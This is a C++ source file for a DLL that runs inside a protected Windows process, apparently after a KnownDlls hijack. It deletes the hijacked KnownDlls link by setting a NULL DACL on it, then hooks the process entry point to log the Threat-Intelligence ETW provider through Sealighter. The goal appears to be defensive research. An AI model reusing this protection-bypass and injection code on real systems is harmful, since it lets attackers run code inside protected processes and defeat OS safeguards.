Files
2022-02-23 14:38:25 +11:00

459 lines
13 KiB
C++

#include "dllexploit.h"
#include <string>
#include <thread>
#include <cstdio>
#include "sealighter_controller.h"
void DoStuff()
{
LPWSTR pwszDllName = NULL;
BOOL bSuccess = FALSE;
WCHAR wszEventName[MAX_PATH] = { 0 };
HANDLE hEvent = NULL;
HANDLE hProcess = INVALID_HANDLE_VALUE;
PROCESS_PROTECTION_LEVEL_INFORMATION level = { 0 };
//
// 1. Parse the command line
//
// Then, we can parse the command line to get the ID of the process to dump and the path of
// the target dump file.
//
ParseCommandLine();
if (g_bDebug)
LogToConsole(L"DEBUG mode enabled\n");
if (g_bDebug)
LogToConsole(L"GUID='%ws'\n", g_pwszGuid);
//
// Signal first Event (DLL loaded)
//
StringCchPrintf(wszEventName, MAX_PATH, L"Global\\%ws_DLL_LOADED", g_pwszGuid);
if (hEvent = OpenEvent(EVENT_MODIFY_STATE, FALSE, wszEventName))
{
if (!SetEvent(hEvent))
LogLastError(L"SetEvent");
CloseHandle(hEvent);
}
else
LogLastError(L"OpenEvent");
//
// 2. Do some cleanup
//
// First things first, we need to delete the symbolic link that was created in \KnownDlls.
// As this code is executed as SYSTEM inside a PPL with the WindowsTCB protection level, it
// should not be a problem.
//
if (!GetCurrentDllFileName(&pwszDllName))
goto end;
if (!DeleteKnownDllEntry(pwszDllName))
LogToConsole(L"[-] Failed to delete KnownDll entry '%ws'\n", pwszDllName);
else
{
if (g_bVerbose)
LogToConsole(L"[*] KnownDll entry '%ws' removed.\n", pwszDllName);
}
// Check if Process is PPL
hProcess = GetCurrentProcess();
if (!GetProcessInformation(hProcess, ProcessProtectionLevelInfo, &level, sizeof(level))) {
LogToConsole(L"[-] Failed Query own process for PPL Status\n");
goto end;
}
if (
level.ProtectionLevel != PROTECTION_LEVEL_WINTCB_LIGHT &&
level.ProtectionLevel != PROTECTION_LEVEL_WINDOWS_LIGHT &&
level.ProtectionLevel != PROTECTION_LEVEL_ANTIMALWARE_LIGHT &&
level.ProtectionLevel != PROTECTION_LEVEL_LSA_LIGHT &&
level.ProtectionLevel != PROTECTION_LEVEL_CODEGEN_LIGHT &&
level.ProtectionLevel != PROTECTION_LEVEL_PPL_APP
)
{
LogToConsole(L"[-] Process is not PPL, trace will probably fail\n");
}
else {
if (g_bVerbose)
LogToConsole(L"[+] Process is PPL\n");
}
////
//// 3. Do things!
////
//// Finally, start Threat-Intelligence ETW Trace
////
bSuccess = StartTracing();
if (g_bVerbose)
LogToConsole(L"%ws StartTracing: %ws\n", bSuccess ? L"[+]" : L"[-]", bSuccess ? L"SUCCESS" : L"FAILURE");
bSuccess = TRUE;
if (bSuccess)
{
//
// Signal second Event (dump success)
//
StringCchPrintf(wszEventName, MAX_PATH, L"Global\\%ws_DUMP_SUCCESS", g_pwszGuid);
if (hEvent = OpenEvent(EVENT_MODIFY_STATE, FALSE, wszEventName))
{
if (!SetEvent(hEvent))
LogLastError(L"SetEvent");
CloseHandle(hEvent);
}
else
LogLastError(L"OpenEvent");
}
end:
if (pwszDllName)
LocalFree(pwszDllName);
}
void LogToConsole(LPCWSTR pwszFormat, ...)
{
//
// The process in which we load this DLL does not have a console so we need to attach to the
// parent process' console. To do so, we can call AttachConsole with the special value
// ATTACH_PARENT_PROCESS. Then, we can get the STDOUT handle. This handle is stored will be
// stored as a global variable so we need to initialize it only once.
//
bool doConsoleOutput = false;
if (g_hConsoleOutput == NULL)
{
AttachConsole(ATTACH_PARENT_PROCESS);
if ((g_hConsoleOutput = GetStdHandle(STD_OUTPUT_HANDLE)))
doConsoleOutput = true;
}
//
// Prepare otuput string and use WriteConsole instead of wprintf. This way, we can directly use
// the STDOUT handle we got previously.
//
DWORD dwOutputStringSize = 0;
LPWSTR pwszOutputString = NULL;
va_list va;
size_t offset = 0;
va_start(va, pwszFormat);
if (g_bDebug)
dwOutputStringSize += (DWORD)wcslen(L"[DEBUG] (DLL) ") * sizeof(WCHAR);
else
dwOutputStringSize += (DWORD)wcslen(L"(DLL) ") * sizeof(WCHAR);
dwOutputStringSize += _vscwprintf(pwszFormat, va) * sizeof(WCHAR) + 2; // \0
pwszOutputString = (LPWSTR)LocalAlloc(LPTR, dwOutputStringSize);
if (pwszOutputString)
{
if (g_bDebug)
StringCchPrintf(pwszOutputString, dwOutputStringSize, L"[DEBUG] (DLL) ");
else
StringCchPrintf(pwszOutputString, dwOutputStringSize, L"(DLL) ");
if (SUCCEEDED(StringCbLength(pwszOutputString, dwOutputStringSize, &offset)))
{
StringCbVPrintf(&pwszOutputString[offset / sizeof(WCHAR)], dwOutputStringSize - offset, pwszFormat, va);
OutputDebugString(pwszOutputString);
if (doConsoleOutput)
WriteConsole(g_hConsoleOutput, pwszOutputString, (DWORD)wcslen(pwszOutputString), NULL, NULL);
}
LocalFree(pwszOutputString);
}
va_end(va);
}
void LogLastError(LPCWSTR pwszFunctionName)
{
DWORD dwLastError = GetLastError();
if (dwLastError != ERROR_SUCCESS)
LogToConsole(L"Function '%ws' returned error code %d - %ws\n", pwszFunctionName, dwLastError, _com_error(HRESULT_FROM_WIN32(dwLastError)).ErrorMessage());
}
BOOL GetCurrentDllFileName(LPWSTR* ppwszDllName)
{
WCHAR wszDllPath[MAX_PATH];
LPWSTR pwszDllName = NULL;
GetModuleFileName(g_hInstance, wszDllPath, MAX_PATH);
if (GetLastError() == ERROR_SUCCESS)
{
pwszDllName = PathFindFileName(wszDllPath);
*ppwszDllName = (LPWSTR)LocalAlloc(LPTR, 64 * sizeof(WCHAR));
if (*ppwszDllName)
{
StringCchPrintf(*ppwszDllName, 64, L"%ws", pwszDllName);
return TRUE;
}
}
return FALSE;
}
BOOL DeleteKnownDllEntry(LPCWSTR pwszDllName)
{
BOOL bReturnValue = FALSE;
NTSTATUS status = 0;
HANDLE hLink = NULL;
LPWSTR pwszLinkPath = NULL;
UNICODE_STRING name = { 0 };
OBJECT_ATTRIBUTES oa = { 0 };
SECURITY_DESCRIPTOR sd = { 0 };
SECURITY_ATTRIBUTES sa = { 0 };
//
// Build the path of the symbolic link object to delete. The name of the DLL can be determined
// at runtime by invoking 'GetCurrentDllFileName'. The final path will be something such as
// '\KnownDlls\DPAPI.dll'.
//
pwszLinkPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));
if (!pwszLinkPath)
goto end;
StringCchPrintf(pwszLinkPath, MAX_PATH, L"\\KnownDlls\\%ws", pwszDllName);
if (g_bDebug)
LogToConsole(L"Object to delete: %ws\n", pwszLinkPath);
RtlInitUnicodeString(&name, pwszLinkPath);
InitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, nullptr, nullptr);
//
// Here we want to call NtOpenSymbolicLinkObject with DELETE access because we want to delete
// the link. Unfortunately, the inherited ACL does not grant us this right and we will thus
// get an "Access denied" error. What we can do though is open the symbolic link object with
// WRITE_DAC access in order to change the ACL of the object.
//
status = NtOpenSymbolicLinkObject(&hLink, WRITE_DAC, &oa);
SetLastError(RtlNtStatusToDosError(status));
if (status != 0)
{
LogLastError(L"NtOpenSymbolicLinkObject");
goto end;
}
if (g_bDebug)
LogToConsole(L"NtOpenSymbolicLinkObject('%ws', WRITE_DAC) OK\n", pwszLinkPath);
//
// Prepare the Security Descriptor. Here we will just use a NULL DACL. This will give everyone
// access to the object but that's not really an issue because we'll delete it right after.
//
InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);
#pragma warning( suppress : 6248 ) // Disable warning as setting a NULL DACL is intentional here
if (!SetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE))
{
LogLastError(L"SetSecurityDescriptorDacl");
}
sa.nLength = sizeof(sa);
sa.bInheritHandle = FALSE;
sa.lpSecurityDescriptor = &sd;
//
// Apply the new Security Descriptor.
//
if (!SetKernelObjectSecurity(hLink, DACL_SECURITY_INFORMATION, &sd))
{
LogLastError(L"SetKernelObjectSecurity");
goto end;
}
if (g_bDebug)
LogToConsole(L"SetKernelObjectSecurity OK\n");
//
// At this point we can close the object handle because only the WRITE_DAC right is associated
// to it. This handle will not allow us to delete the object.
//
status = NtClose(hLink);
SetLastError(RtlNtStatusToDosError(status));
if (status != 0)
{
LogLastError(L"NtClose");
goto end;
}
if (g_bDebug)
LogToConsole(L"NtClose OK\n");
//
// This time, we should be able to open the link object with DELETE access.
//
status = NtOpenSymbolicLinkObject(&hLink, DELETE, &oa);
SetLastError(RtlNtStatusToDosError(status));
if (status != 0)
{
LogLastError(L"NtOpenSymbolicLinkObject");
goto end;
}
if (g_bDebug)
LogToConsole(L"NtOpenSymbolicLinkObject('%ws', DELETE) OK\n", pwszLinkPath);
//
// Now, we can invoke NtMakeTemporaryObject to disable the "Permanent" flag of the object. When
// an object does not have the "Permanent" flag enabled, it is automatically deleted when all
// its handles are closed.
//
status = NtMakeTemporaryObject(hLink);
SetLastError(RtlNtStatusToDosError(status));
if (status != 0)
{
LogLastError(L"NtMakeTemporaryObject");
goto end;
}
if (g_bDebug)
LogToConsole(L"NtMakeTemporaryObject OK\n");
bReturnValue = status == STATUS_SUCCESS;
//
// We should be the only process to have an opened handle on this object. So, if we close it,
// the link should be automatically deleted.
//
end:
if (hLink)
NtClose(hLink);
if (pwszLinkPath)
LocalFree(pwszLinkPath);
return bReturnValue;
}
BOOL ParseCommandLine()
{
LPWSTR pwszCommandLine = GetCommandLine();
LPWSTR* argv = NULL;
int argc = 0;
int i = 0;
argv = CommandLineToArgvW(pwszCommandLine, &argc);
if (!argv)
return FALSE;
if (argc < 2)
return FALSE;
g_pwszGuid = argv[1];
if (argc > 2)
{
if (_wcsicmp(argv[2], L"-v") == 0)
g_bVerbose = TRUE;
else if (_wcsicmp(argv[2], L"-d") == 0)
{
g_bVerbose = TRUE;
g_bDebug = TRUE;
}
}
return TRUE;
}
// ---------------------------------
// ---------------------------------
void RunWatcherThread() {
WCHAR wszEventName[MAX_PATH] = { 0 };
HANDLE hEventStopTrace = NULL;
BOOL bShouldStop = FALSE;
if (g_bVerbose)
LogToConsole(L"Start Event Watcher Thread");
StringCchPrintf(wszEventName, MAX_PATH, L"Global\\%ws_STOP_TRACE", g_pwszGuid);
if (hEventStopTrace = OpenEvent(EVENT_ALL_ACCESS, FALSE, wszEventName))
{
while (TRUE) {
bShouldStop = WaitForSingleObject(hEventStopTrace, INFINITE) == WAIT_OBJECT_0;
if (bShouldStop) {
if (g_bVerbose)
LogToConsole(L"Was told to stop ETW Trace");
break;
}
Sleep(1000);
}
CloseHandle(hEventStopTrace);
}
else
LogLastError(L"OpenEvent");
if (g_bVerbose)
LogToConsole(L"Stopping Sealighter");
stop_sealighter();
}
static int (WINAPI* TrueEntryPoint)(VOID) = NULL;
int WINAPI HookedEntryPoint(VOID) {
int status = 0;
BOOL bReturnValue = FALSE;
if (g_bVerbose)
LogToConsole(L"In hooked entrypoint, starting ETW Trace");
// Use static config to make sealighter log TI provider to event log
std::string configString = R"(
{
"session_properties": {
"session_name": "Sealighter-Trace",
"output_format": "event_log"
},
"user_traces": [
{
"trace_name": "Microsoft-Windows-Threat-Intelligence",
"provider_name": "{F4E1897C-BB5D-5668-F1D8-040F4D8DD344}",
"report_stacktrace": true
}
]
}
)";
// Start Thread to watch for shutdown event
std::thread watcherThread(RunWatcherThread);
run_sealighter(configString);
watcherThread.join();
if (status == 0) {
bReturnValue = TRUE;
}
if (g_bVerbose)
LogToConsole(L"Finished ETW Trace");
return TrueEntryPoint();
}
BOOL StartTracing() {
if (g_bVerbose)
LogToConsole(L"Hooking Main Entry to EXE");
DetourRestoreAfterWith();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
TrueEntryPoint = (int (WINAPI*)(VOID))DetourGetEntryPoint(NULL);
DetourAttach(&(PVOID&)TrueEntryPoint, HookedEntryPoint);
DetourTransactionCommit();
return TRUE;
}
void StopTracing() {
if (g_bVerbose)
LogToConsole(L"Unhooking Entrypoint");
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)TrueEntryPoint, HookedEntryPoint);
DetourTransactionCommit();
if (g_bVerbose)
LogToConsole(L"Stopping ETW Trace");
stop_sealighter();
}